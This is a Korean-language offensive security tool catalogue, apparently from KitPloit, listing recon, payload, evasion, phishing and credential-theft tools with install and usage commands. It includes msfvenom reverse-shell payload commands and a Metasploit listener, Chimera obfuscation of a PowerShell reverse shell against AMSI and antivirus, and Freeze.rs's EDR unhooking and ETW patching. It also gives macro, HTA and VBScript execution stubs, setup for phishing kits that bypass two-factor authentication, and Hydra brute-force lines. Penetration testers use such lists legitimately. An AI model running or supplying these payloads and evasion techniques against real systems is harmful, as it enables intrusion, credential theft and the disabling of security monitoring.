TruffleHog는 Git 저장소를 스캔하여 비밀번호나 API 키와 같은 비밀 정보의 존재를 나타낼 수 있는 높은 엔트로피의 문자열과 패턴을 찾는 도구입니다. TruffleHog를 사용하면 실수로 커밋되어 저장소에 푸시된 민감한 정보를 빠르고 쉽게 찾을 수 있습니다.

설치 (바이너리): 링크

설치 (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install

root@kitploit:~
**사용법:**```
trufflehog https://github.com/trufflesecurity/test_keys

image

🔙Dismap

Dismap은 자산 검색 및 식별 도구입니다. 웹/tcp/udp와 같은 프로토콜과 핑거프린트 정보를 신속하게 식별하고, 자산 유형을 파악할 수 있으며, 내부 및 외부 네트워크에 적합합니다.

Dismap은 완벽한 핑거프린트 규칙 데이터베이스를 갖추고 있으며, 현재 tcp/udp/tls 프로토콜 핑거프린트와 4500개 이상의 웹 핑거프린트 규칙을 포함하여 favicon, body, header 등을 식별할 수 있습니다.

설치:

Dismap은 Linux, MacOS, Windows용 바이너리 파일입니다. Release에서 해당 버전을 다운로드하여 실행하세요:```bash

Linux or MacOS

chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h

Windows

dismap-0.3-windows-amd64.exe -h

root@kitploit:~
**사용법:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24

# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json

# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10

# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000

image

이미지 출처: https://github.com/zhzyker/dismap

🔙enum4linux

Windows 및 Samba 시스템에서 정보를 열거하기 위한 도구입니다.

다양한 정보를 수집하는 데 사용될 수 있습니다:

  • 도메인 및 도메인 컨트롤러 정보
  • 로컬 사용자 및 그룹 정보
  • 공유 및 공유 권한
  • 보안 정책
  • Active Directory 정보

설치: (Apt)```bash sudo apt install enum4linux

root@kitploit:~
**설치: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux

사용법:```bash

'Do everything'

enum4linux.pl -a 192.168.2.55

Obtain list of usernames (RestrictAnonymous = 0)

enum4linux.pl -U 192.168.2.55

Obtain list of usernames (using authentication)

enum4linux.pl -u administrator -p password -U 192.168.2.55

Get a list of groups and their members

enum4linux.pl -G 192.168.2.55

Verbose scan

enum4linux.pl -v 192.168.2.55

root@kitploit:~
전체 사용 정보는 이 [블로그](https://labs.portcullis.co.uk/tools/enum4linux/)에서 확인할 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/fe00ba9f2f4658aa8611e2deabd598ed9ded034e10dca68bc7ebfcb901597d8d.png)

_https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/에서 가져온 이미지_

### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)

엄청나게 빠른 dns/네트워크/포트 스캐너, [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc)가 만들었으며 Rust로 작성되었습니다.

서브도메인 파일이 필요합니다. _예: [Sublist3r의 서브도메인 단어 목록](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)_.

**설치:**

최신 릴리스를 [여기](https://github.com/Esc4iCEscEsc/skanuvaty/releases)에서 다운로드하세요.```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists

사용법:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/a12af6eef4cb46b200b8d1ea7e42ad172285a5263ce609aff1902ead120ec20d.png)

_사용된 이미지 출처: https://github.com/Esc4iCEscEsc/skanuvaty_

### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)

Metabigor는 인텔리전스 도구로, API 키 없이 OSINT 작업 등을 수행하는 것을 목표로 합니다.

**주요 기능:**

- IP 주소, ASN 및 조직에 대한 정보 검색.
- IP/CIDR에서 rustscan, masscan 및 nmap을 더 효율적으로 실행하기 위한 래퍼.
- 다양한 기술(인증서, whois, Google Analytics 등)을 적용하여 대상의 관련 도메인을 더 많이 찾습니다.
- IP 주소에 대한 요약 가져오기 ([@thebl4ckturtle](https://github.com/theblackturtle) 제공)

**설치:**```bash
go install github.com/j3ssie/metabigor@latest

사용법:```bash

discovery IP of a company/organization

echo "company" | metabigor net --org -o /tmp/result.txt

Getting more related domains by searching for certificate info

echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command

Only run rustscan with full ports

echo '1.2.3.4/24' | metabigor scan -o result.txt

Reverse Whois to find related domains

echo 'example.com' | metabigor related -s 'whois'

Get Google Analytics ID directly from the URL

echo 'https://example.com' | metabigor related -s 'google-analytic'

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/55dd22bbf9b6790285f8373fe31c699f489c60f4541a6223af9b7cd77faf5a61.png)

> _이미지 출처: https://github.com/j3ssie/metabigor_

### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)

Gitrob은 Github의 공개 저장소에 푸시된 잠재적으로 민감한 파일을 찾는 데 도움을 주는 도구입니다.

Gitrob은 사용자 또는 조직의 저장소를 구성 가능한 깊이까지 복제하고, 커밋 기록을 반복하며 잠재적으로 민감한 파일의 서명과 일치하는 파일에 플래그를 지정합니다.

결과는 웹 인터페이스를 통해 표시되어 쉽게 탐색하고 분석할 수 있습니다.

**참고:** _Gitrob은 Github API와 상호 작용하기 위해 Github 액세스 토큰이 필요합니다. [개인 액세스 토큰 생성](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) 후 .bashrc 또는 유사한 셸 구성 파일의 환경 변수에 저장하십시오:_```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef

설치: (Go)```bash go get github.com/michenriksen/gitrob

root@kitploit:~
**설치: (바이너리)**

각 릴리스에 대해 [미리 컴파일된 버전](https://github.com/michenriksen/gitrob/releases)이 제공됩니다.

**사용법:**```bash
# Run against org
gitrob {org_name}

# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp

# Loading session from a file
gitrob -load ~/gitrob-session.json

image

이미지 출처: https://www.uedbox.com/post/58828/

🔙gowitness

Gowitness는 Golang으로 작성된 웹사이트 스크린샷 유틸리티로, Chrome Headless를 사용하여 명령줄에서 웹 인터페이스의 스크린샷을 생성하고, 결과를 처리하기 위한 편리한 보고서 뷰어를 제공합니다. Linux와 macOS가 지원되며, Windows도 대부분 작동합니다.

설치: (Go)```bash go install github.com/sensepost/gowitness@latest

root@kitploit:~
전체 설치 정보는 [여기](https://github.com/sensepost/gowitness/wiki/Installation)에서 확인할 수 있습니다.

**사용법:**```bash
# Screenshot a single website
gowitness single https://www.google.com/

# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20

# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http

# Run the report server
gowitness report serve

전체 사용법 정보는 여기에서 확인할 수 있습니다.

image

이미지는 https://github.com/sensepost/gowitness 에서 사용됨

리소스 개발

🔙Chimera

Chimera는 AMSI 및 안티바이러스 솔루션을 우회하도록 설계된 PowerShell 난독화 스크립트입니다. AV를 트리거하는 것으로 알려진 악성 PS1 파일을 입력받아 문자열 치환 및 변수 연결을 사용하여 일반적인 탐지 시그니처를 회피합니다.

설치:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help

root@kitploit:~
**사용법:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

이미지

🔙msfvenom

Msfvenom은 다양한 운영 체제를 대상으로 광범위한 형식의 페이로드를 생성할 수 있습니다. 또한 AV 우회를 위한 페이로드 난독화를 지원합니다.

리스너 설정```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run

root@kitploit:~
#### Msfvenom 명령어

**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe

root@kitploit:~
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

root@kitploit:~
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

image

🔙Shellter

Shellter는 동적 셸코드 주입 도구이자, 최초의 진정한 동적 PE 감염기입니다.

이 도구는 네이티브 Windows 응용 프로그램(현재는 32비트 응용 프로그램만 지원)에 셸코드를 주입하는 데 사용할 수 있습니다.

Shellter는 PE 파일의 원래 구조를 활용하며, 메모리 접근 권한 변경(사용자가 원하지 않는 한), RWE 접근 권한이 있는 추가 섹션 추가, AV 스캔에서 수상해 보일 수 있는 어떤 수정도 가하지 않습니다.

전체 README 정보는 여기에서 확인할 수 있습니다.

설치: (Kali)```bash apt-get update apt-get install shellter

root@kitploit:~
**설치: (Windows)**

[다운로드 페이지](https://www.shellterproject.com/download/)를 방문하여 설치하세요.

**사용법:**

합법적인 바이너리를 선택하여 백도어를 추가하고 Shellter를 실행하세요.

유용한 팁은 [여기](https://www.shellterproject.com/tipstricks/)에서 찾을 수 있습니다.

다양한 커뮤니티 사용 데모는 [여기](https://www.shellterproject.com/shellter-community-demos/)에서 확인할 수 있습니다.

![이미지](https://assets.kitploit.com/production/public/readmes/495/04c2d11a2a571a26ec7c16cff3fb5d9298164340e32e8efd8ee3f8baac079ef6.png)

_이미지 출처: https://www.kali.org/tools/shellter/images/shellter.png_

### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)

Freeze는 EDR 보안 제어를 우회하여 셸코드를 은밀하게 실행하기 위한 페이로드 생성 도구입니다.

Freeze는 Userland EDR 후크를 제거할 뿐만 아니라 다른 엔드포인트 모니터링 제어를 우회하는 방식으로 셸코드를 실행하기 위해 여러 기술을 활용합니다.

**설치:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go

사용법:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/6c3f90681a6549cbc77c48fc0ced412b27f85d65b44c0cf32224d245ae1c994c.png)

_출처: https://www.blackhatethicalhacking.com/tools/freeze/_

### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)

이 스크립트는 원격 이미지가 포함된 Microsoft Word 문서를 생성하여 원격 피해자 엔드포인트로부터 NTML 해시를 캡처할 수 있도록 합니다.

Microsoft Word는 공격자가 제어하는 SMB 서버에 호스팅된 원격 이미지를 포함하여 원격 위치의 이미지를 포함할 수 있는 기능을 제공합니다. 이를 통해 인증된 피해자가 Word 문서를 열고 이미지를 렌더링할 때 전송되는 NTLM 해시를 수신 및 캡처할 수 있는 기회를 얻을 수 있습니다.

**설치:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal

사용법:```bash

Generate document containing 'test.jpg' and start listener

./main.py 127.0.0.1 test.jpg 1

Generate document containing 'test.jpg' and do not start listener

./main.py 127.0.0.1 test.jpg 0\n

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/a2683bdc376d7179fc8500aa2cf1636e371e52129800bf51c15b79c364391fbd.png)

_이미지 출처: https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/_

---

### [🔙](#tool-list)[Freeze.rs](https://github.com/optiv/Freeze.rs.git)

이 프레임워크에서 사용된 기술에 대해 더 자세히 알고 싶다면, SourceZero 블로그와 원본 도구를 참고하십시오.

**설명:**

Freeze.rs는 EDR 보안 제어를 우회하여 셸코드를 은밀하게 실행하기 위한 페이로드 생성 도구입니다. Freeze.rs는 여러 기술을 사용하여 Userland EDR 후크를 제거할 뿐만 아니라, 다른 엔드포인트 모니터링 제어를 우회하는 방식으로 셸코드를 실행합니다.

**일시 중단된 프로세스 생성:**

프로세스가 생성될 때 Ntdll.dll이 가장 먼저 로드되며, 이는 EDR DLL이 로드되기 전에 발생합니다. 즉, EDR이 로드되어 시스템 DLL의 어셈블리를 후킹하고 수정하기까지 약간의 지연이 있습니다. Ntdll.dll의 Windows 시스템 콜을 살펴보면 아직 아무것도 후킹되지 않은 것을 볼 수 있습니다. 일시 중단 상태(시간이 정지된 상태)로 프로세스를 생성하면 Ntdll.dll을 제외한 다른 DLL은 로드되지 않음을 확인할 수 있습니다. 또한 EDR DLL도 로드되지 않았으므로 Ntdll.dll에 있는 시스템 콜이 수정되지 않았음을 알 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/bd6869a0876e06b636a0ab2814e3a2353a4dd7954834e3d79c3b2b44a03c27a4.png)

**주소 공간 레이아웃 무작위화**

이 깨끗한 일시 중단 프로세스를 사용하여 Freeze.rs 로더에서 후크를 제거하려면, 깨끗한 일시 중단 프로세스의 메모리를 프로그래밍 방식으로 찾아 읽을 방법이 필요합니다. 여기서 주소 공간 레이아웃 무작위화(ASLR)가 사용됩니다. ASLR은 스택 메모리 손상 기반 취약점을 방지하기 위한 보안 메커니즘입니다. ASLR은 프로세스 내의 주소 공간을 무작위화하여 메모리 매핑된 모든 객체, 스택, 힙, 실행 프로그램 자체가 고유하도록 보장합니다. 흥미로운 점은 ASLR이 작동하지만 DLL과 같은 위치 독립 코드에는 적용되지 않는다는 것입니다. DLL(특히 알려진 시스템 DLL)의 경우 주소 공간이 부팅 시 한 번 무작위화됩니다. 즉, 원격 프로세스 정보를 열거하지 않아도 ntdll.dll의 기본 주소를 찾을 수 있습니다. 왜냐하면 이 주소는 우리가 제어하는 프로세스를 포함한 모든 프로세스에서 동일하기 때문입니다. 모든 DLL의 주소는 부팅당 동일한 위치에 있으므로, 이 정보를 자신의 프로세스에서 가져올 수 있으며 일시 중단 프로세스를 열거하여 주소를 찾을 필요가 없습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/2e982f594ca0dc518cb32bf3ff1e2803416c699a0fe3f067b1d521276352f53d.png)

이 정보를 바탕으로 API ReadProcessMemory를 사용하여 프로세스의 메모리를 읽을 수 있습니다. 이 API 호출은 일반적으로 자격 증명 기반 공격의 일환으로 LSASS를 읽는 것과 관련이 있지만, 그 자체로는 본질적으로 악의적이지 않습니다. 특히 임의의 메모리 섹션만 읽는 경우라면 더욱 그렇습니다. ReadProcessMemory가 의심스러운 것으로 플래그 되는 유일한 경우는 읽어서는 안 되는 것(예: LSASS의 내용)을 읽을 때입니다. EDR 제품은 ReadProcessMemory가 호출되었다는 사실 자체를 플래그 해서는 안 됩니다. 이 함수에는 합법적인 운영상의 사용 사례가 있으며, 플래그를 설정하면 많은 오탐(false positive)이 발생할 수 있기 때문입니다.

더 나아가, 전체 DLL을 읽는 대신 모든 시스템 콜이 저장된 Ntdll.dll의 .text 섹션만 읽음으로써 한 단계 더 발전시킬 수 있습니다.

이러한 요소를 결합하면, Ntdll.dll의 .text 섹션 복사본을 프로그래밍 방식으로 가져와 셸코드를 실행하기 전에 기존의 후킹된 .text 섹션을 덮어쓸 수 있습니다.

**ETW 패치**

ETW는 내장 시스템 콜을 사용하여 이 텔레메트리를 생성합니다. ETW는 Windows에 기본 내장된 기능이므로, 보안 제품이 정보에 접근하기 위해 ETW 시스템 콜을 "후킹"할 필요가 없습니다. 결과적으로 ETW를 방지하기 위해 Freeze.rs는 여러 ETW 시스템 콜을 패치하여 레지스터를 비우고 실행 흐름을 다음 명령어로 반환합니다. ETW 패치는 이제 모든 로더에서 기본적으로 사용됩니다.

**셸코드**

![image](https://assets.kitploit.com/production/public/readmes/495/896ef4933a6d5762f9b019a2b557d49af151890f979736ca6c710c856b3d8b94.png)

Rust의 NTAPI 크레이트를 사용하면 이러한 모든 호출이 ntdll.dll 아래에 표시되지 않지만, 프로세스 내에는 여전히 존재함을 알 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/8fb4ee66b377c99c51144b36ef80b7f8e795c0197296959ed89161f57838a4c0.png)

결과:

![image](https://assets.kitploit.com/production/public/readmes/495/a8a1bbb194d7e417c9961540376fcb92dc4092b4cbe524cc5c58ce820cb24568.png)

![image](https://assets.kitploit.com/production/public/readmes/495/8a5ddf3aebb2e87f5226d6cde7414adde2d0f4485ddee6aa82170484d8967bd4.png)

**왜 Rust인가?**

이 프로젝트는 Rust를 배우기 위한 재미있는 프로젝트로 시작되었으며, 지금은 자체 프레임워크로 성장했습니다.

**기여하기**

Freeze.rs는 Rust로 개발되었습니다.

**설치**

Rust와 Rustup이 설치되지 않은 경우 먼저 설치하십시오. OSX 또는 Linux에서 컴파일하는 경우 "x86_64-pc-windows-gnu" 타겟이 추가되어 있는지 확인하십시오. 이를 위해 다음 명령을 실행하십시오:

완료되면 Freeze.rs를 컴파일하거나, 다음 명령을 실행하거나, 컴파일된 바이너리를 사용할 수 있습니다:```bash
git clone https://github.com/optiv/Freeze
cd Freeze
rustup target add x86_64-pc-windows-gnu
cargo build --release

그러면 컴파일된 버전은 target/release에서 찾을 수 있습니다 (참고: --release를 넣지 않으면 파일은 target/debug/에 있을 것입니다.)```bash ___________ _ /_ ____ ____ ________ ____ _______ ______ | ) _ __ _/ __ _/ __ \_ // __ \ _ __ / / | \ | | /\ /\ / / /\ / | | /_
_
/ |
| _
>_
>
___ \___ > /\ |__| /____ > / / / / / / / (@Tyl0us) Soon they will learn that revenge is a dish... best served COLD & Rusty...

USAGE: Freeze-rs [FLAGS] [OPTIONS]

FLAGS: -c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature -h, --help Prints help information -n, --noetw Disables the ETW patching that prevents ETW events from being generated. -s, --sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -V, --version Prints version information

OPTIONS: -E, --Encrypt Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption -I, --Input Path to the raw 64-bit shellcode. -O, --Output Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -p, --process The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' -e, --export Defines a custom export function name for any DLL.

root@kitploit:~
**Binary vs DLL**
Freeze.rs는 .exe 또는 .dll 파일을 생성할 수 있습니다. 이를 지정하려면 -O 명령줄 옵션이 바이너리의 경우 .exe로, DLL의 경우 .dll로 끝나도록 해야 합니다. 현재 다른 파일 형식은 지원되지 않습니다. DLL 파일의 경우 Freeze.rs는 추가 내보내기 기능을 추가할 수도 있습니다. 이렇게 하려면 -export 옵션을 특정 내보내기 함수 이름과 함께 사용하세요.

**Encryption**
셸코드를 암호화하는 것은 EDR 및 기타 보안 제품에 의해 탐지되고 분석되는 것을 방지하는 중요한 기술입니다. Freeze.rs는 셸코드를 암호화하는 여러 방법을 제공하며, 여기에는 AES, ELZMA 및 RC4가 포함됩니다.

**AES**
AES(Advanced Encryption Standard)는 데이터를 암호화하는 데 널리 사용되는 대칭 암호화 알고리즘입니다. Freeze.rs는 AES-256 비트 크기를 사용하여 셸코드를 암호화합니다. AES를 사용하여 셸코드를 암호화하는 장점은 강력한 암호화를 제공하고 암호화 라이브러리에서 널리 지원된다는 점입니다. 그러나 고정 블록 크기를 사용하면 패딩 오라클 공격과 같은 특정 공격에 취약해질 수 있습니다.

**ELZMA**
ELZMA는 코드를 난독화하기 위해 악성코드에서 자주 사용되는 압축 및 암호화 알고리즘입니다. ELZMA를 사용하여 셸코드를 암호화하려면 먼저 ELZMA 알고리즘을 사용하여 셸코드를 압축합니다. 그런 다음 압축된 데이터를 임의의 키로 암호화합니다. 암호화된 데이터와 키는 익스플로잇 코드에 포함됩니다. ELZMA를 사용하여 셸코드를 암호화하는 장점은 단일 알고리즘에서 압축과 암호화를 모두 제공한다는 점입니다. 이는 익스플로잇 코드의 크기를 줄이고 탐지를 더 어렵게 만드는 데 도움이 됩니다.

**RC4**
RC4는 악성코드에서 셸코드를 암호화하는 데 자주 사용되는 대칭 암호화 알고리즘입니다. 가변 길이 키를 사용할 수 있는 스트림 암호이며 단순성과 속도로 잘 알려져 있습니다.

**Console**
Freeze.rs는 먼저 프로세스를 생성한 다음 이를 백그라운드로 이동시키는 기술을 활용합니다. 이는 두 가지 역할을 합니다. 첫째로 프로세스를 숨기는 데 도움이 되고, 둘째로 EDR 제품에 의해 탐지되는 것을 방지합니다. 프로세스를 바로 백그라운드로 생성하는 것은 매우 의심스럽고 악성 행위의 지표가 될 수 있습니다. Freeze.rs는 프로세스가 생성되고 EDR의 후크가 로드된 후 'GetConsoleWindow' 및 'ShowWindow' Windows 함수를 호출한 다음 창 속성을 숨김으로 변경하여 이를 수행합니다.

-Console 명령줄 옵션이 선택되면 Freeze.rs는 프로세스를 백그라운드에 숨기지 않습니다. 대신 Freeze.rs는 로더가 수행하는 작업을 보여주는 여러 디버그 메시지를 추가합니다.

---

### [🔙](#tool-list)WSH

**페이로드 생성:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

실행:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted

root@kitploit:~
### [🔙](#tool-list)HTA

**페이로드 생성:**```html
<html>
  <body>
    <script>
      var c = "cmd.exe";
      new ActiveXObject("WScript.Shell").Run(c);
    </script>
  </body>
</html>

실행: 파일 실행

🔙VBA

페이로드 생성:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub

root@kitploit:~
**실행:** 매크로 사용 문서에서 Auto_Open() 함수로 설정

# 초기 액세스

### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)

Bash Bunny는 물리적 USB 공격 도구이자 다기능 페이로드 전달 시스템입니다. 컴퓨터의 USB 포트에 연결하도록 설계되었으며, 데이터 조작 및 유출, 악성 코드 설치, 보안 조치 우회 등 다양한 기능을 수행하도록 프로그래밍할 수 있습니다.

[hackinglab: Bash Bunny – 가이드](https://hackinglab.cz/en/blog/bash-bunny-guide/)

[Hak5 문서](https://docs.hak5.org/bash-bunny/)

[유용한 페이로드 저장소](https://github.com/hak5/bashbunny-payloads)

[제품 페이지](https://hak5.org/products/bash-bunny)

![image](https://assets.kitploit.com/production/public/readmes/495/a9fc36ccc8742ad176a0455fea6a50a355f6a873f99ab472c3b81989c3093b66.png)

### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)

evilginx2 + gophish. (GoPhish) Gophish는 강력한 오픈 소스 피싱 프레임워크로, 조직의 피싱 노출을 쉽게 테스트할 수 있게 해줍니다. (evilginx2) 단독형 중간자 공격 프레임워크로, 로그인 자격 증명과 세션 쿠키를 피싱하여 2단계 인증을 우회하는 데 사용됩니다.

**설치:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish

사용법:``` Usage: ./setup <subdomain(s)>

  • root domain - the root domain to be used for the campaign
  • subdomains - a space separated list of evilginx2 subdomains, can be one if only one
  • root domain bool - true or false to proxy root domain to evilginx2
  • redirect url - URL to redirect unauthorized Apache requests
  • feed bool - true or false if you plan to use the live feed
  • rid replacement - replace the gophish default "rid" in phishing URLs with this value
  • blacklist bool - true or false to use Apache blacklist Example: ./setup.sh example.com "accounts myaccount" false https://redirect.com/ true user_id false
root@kitploit:~
![이미지](https://assets.kitploit.com/production/public/readmes/495/d21f6533174ab65dbb6ec6fc044fdad87fe0654f01a6be5f17a862588bf9a0ec.png)

### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)

이 프레임워크는 초기 접근을 위한 캠페인을 만드는 데 탁월합니다. 'SET은 사용자가 신뢰할 수 있는 공격을 빠르게 구성할 수 있도록 다양한 사용자 정의 공격 벡터를 제공합니다.'

**설치:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install

사용법:```bash python3 setoolkit

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/962be1664db4237288b6ac2bf77cb98be8c69715d67efdc36178eb16e8178e1c.png)

### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)

로그인 무차별 대입 공격에 유용한 도구입니다. SSH, FTP, TELNET, HTTP 등 여러 서비스를 대상으로 bf를 수행할 수 있습니다.

**설치:**```bash
sudo apt install hydra

사용법:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/c1f8846e81658f9a3679da0ff42c1efc12d30861a6a706c61449b956e14f8417.png)

### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)

SquarePhish은 OAuth 기기 코드 인증 흐름과 QR 코드를 결합한 기술을 사용하는 고급 피싱 도구입니다 (피싱 공격을 위한 OAuth 기기 코드 흐름에 대한 자세한 내용은 [PhishInSuits](https://github.com/secureworks/PhishInSuits) 참조).

공격 단계:

- 피해자에게 악성 QR 코드 전송
- 피해자가 모바일 기기로 QR 코드 스캔
- 피해자가 공격자가 제어하는 서버로 이동 (OAuth 기기 코드 인증 흐름 프로세스 트리거)
- 피해자에게 MFA 코드 이메일 발송 (OAuth 기기 코드 흐름 15분 타이머 트리거)
- 공격자가 인증을 위해 폴링
- 피해자가 합법적인 Microsoft 웹사이트에 코드 입력
- 공격자가 인증 토큰 저장

**설치:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt

참고: 각 모듈을 사용하기 전에 settings.config 파일에서 Required라고 표시된 필수 정보를 업데이트하십시오.

사용법 (이메일 모듈):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]

optional arguments: -h, --help show this help message and exit

-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]

--debug enable server debugging

-e EMAIL, --email EMAIL victim email address to send initial QR code email to

root@kitploit:~
**사용법 (서버 모듈):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]

optional arguments:
  -h, --help            show this help message and exit

  -c CONFIG, --config CONFIG
                        squarephish config file [Default: settings.config]

  --debug               enable server debugging

image

🔙King Phisher

King Phisher는 공격자가 피해자에게 피싱 이메일을 생성하고 전송하여 민감한 정보를 획득할 수 있게 해주는 도구입니다.

사용자 정의 가능한 템플릿, 캠페인 관리, 이메일 발송 기능과 같은 특징을 갖추고 있어 피싱 공격을 수행하기 위한 강력하고 사용하기 쉬운 도구입니다. King Phisher를 사용하면 공격자는 개인이나 조직을 대상으로 맞춤형이고 설득력 있는 피싱 이메일을 보내 공격 성공 가능성을 높일 수 있습니다.

설치 (Linux - 클라이언트 및 서버):```bash wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh

root@kitploit:~
**사용법:**

King Phisher가 설치된 후에는 [wiki 페이지](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started)를 따라 SSH, 데이터베이스 설정, SMTP 서버 등을 구성하십시오.

![이미지](https://assets.kitploit.com/production/public/readmes/495/ab8900f24709e60727b9ae8d91dc00da72eb17a099da35552cfd09ad542e20b5.png)

# 실행

### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)

Responder는 네트워크에서 LLMNR 및 NBT-NS 프로토콜을 중독시켜 자격 증명을 탈취하고 임의 코드를 실행할 수 있도록 하는 도구입니다.

LLMNR(링크-로컬 멀티캐스트 이름 확인) 및 NBT-NS(NetBIOS 이름 서비스) 프로토콜은 Windows 시스템이 로컬 네트워크에서 호스트 이름을 IP 주소로 확인하는 데 사용됩니다. 이러한 프로토콜을 사용하여 호스트 이름을 확인할 수 없는 경우 시스템은 로컬 네트워크에 호스트 이름에 대한 요청을 브로드캐스트합니다.

Responder는 이러한 브로드캐스트를 수신하고 가짜 IP 주소로 응답하여 요청 시스템이 공격자에게 자격 증명을 보내도록 속입니다.

**설치:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder

사용법:```bash

Running the tool

./Responder.py [options]

Typical usage

./Responder.py -I eth0 -wrf

root@kitploit:~
전체 사용 정보는 [여기](https://github.com/SpiderLabs/Responder#usage)에서 찾을 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/1557d2d9375fcf140ae01d21311d11ce93eabb676e40f6eb39ec25e0f4959c12.png)

_Image used from https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_

